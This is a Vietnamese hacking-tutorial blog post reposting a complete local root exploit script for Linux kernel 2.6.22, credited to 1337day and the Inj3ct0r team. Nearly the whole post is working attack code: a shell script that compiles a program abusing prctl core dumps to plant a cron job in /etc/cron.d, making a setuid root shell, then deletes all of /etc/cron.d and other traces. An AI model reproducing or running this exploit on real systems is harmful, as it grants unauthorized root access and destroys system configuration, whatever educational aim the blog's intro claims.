Vài lời cho các bạn !

Blog được xây dựng nhằm cung cấp, sưu tầm nguồn hướng dẫn cho các newbie học tập về hacking website, chứ không mang tính chất vẽ đường cho ai đó đi phá hoại(deface) nhằm gây tổn hại cho website hay sever nào đó. Mong you hãy coi đây như là cuốn ebook hay và bổ ích, cần là giở để xem. và hãy tận dụng nó đúng mục đích ! thanks !

Friday, June 29, 2012

Linux Kernel 2.6.22 Local root Exploit



  1. #!/bin/sh
  2. =======================================
  3. Linux Kernel 2.6.22 Local root Exploit
  4. =======================================
  5. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
  6. 0     _                   __           __       __                     1
  7. 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
  8. 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
  9. 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
  10. 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
  11. 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
  12. 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
  13. 1                  \ \____/ >> Exploit database separated by exploit   0
  14. 0                   \/___/          type (local, remote, DoS, etc.)    1
  15. 1                                                                      1
  16. 0  [+] Site            : 1337day.com                                   0
  17. 1  [+] Support e-mail  : submit[at]1337day.com                         1
  18. 0                                                                      0
  19. 1               #########################################              1
  20. 0               I'm Angel Injection member from Inj3ct0r Team          1
  21. 1               #########################################              0
  22. 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  23. ########################################################################
  24. cat > /tmp/getsuid.c << __EOF__
  25. #include <stdio.h>
  26. #include <sys/time.h>
  27. #include <sys/resource.h>
  28. #include <unistd.h>
  29. #include <linux/prctl.h>
  30. #include <stdlib.h>
  31. #include <sys/types.h>
  32. #include <signal.h>

  33. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";

  34. int main() {
  35.     int child;
  36.     struct rlimit corelimit;
  37.     corelimit.rlim_cur = RLIM_INFINITY;
  38.     corelimit.rlim_max = RLIM_INFINITY;
  39.     setrlimit(RLIMIT_CORE, &corelimit);
  40.     if ( !( child = fork() )) {
  41.         chdir("/etc/cron.d");
  42.         prctl(PR_SET_DUMPABLE, 2);
  43.         sleep(200);
  44.         exit(1);
  45.     }
  46.     kill(child, SIGSEGV);
  47.     sleep(120);
  48. }
  49. __EOF__

  50. cat > /tmp/s.c << __EOF__
  51. #include<stdio.h>
  52. main(void)
  53. {
  54. setgid(0);
  55. setuid(0);
  56. system("/bin/sh");
  57. system("rm -rf /tmp/s");
  58. system("rm -rf /etc/cron.d/*");
  59. return 0;
  60. }
  61. __EOF__
  62. echo "wait aprox 4 min to get sh"
  63. cd /tmp
  64. cc -o s s.c
  65. cc -o getsuid getsuid.c
  66. ./getsuid
  67. ./s
  68. rm -rf getsuid*
  69. rm -rf s.c
  70. rm -rf prctl.sh


  71. # 1337day.com [2011-10-06]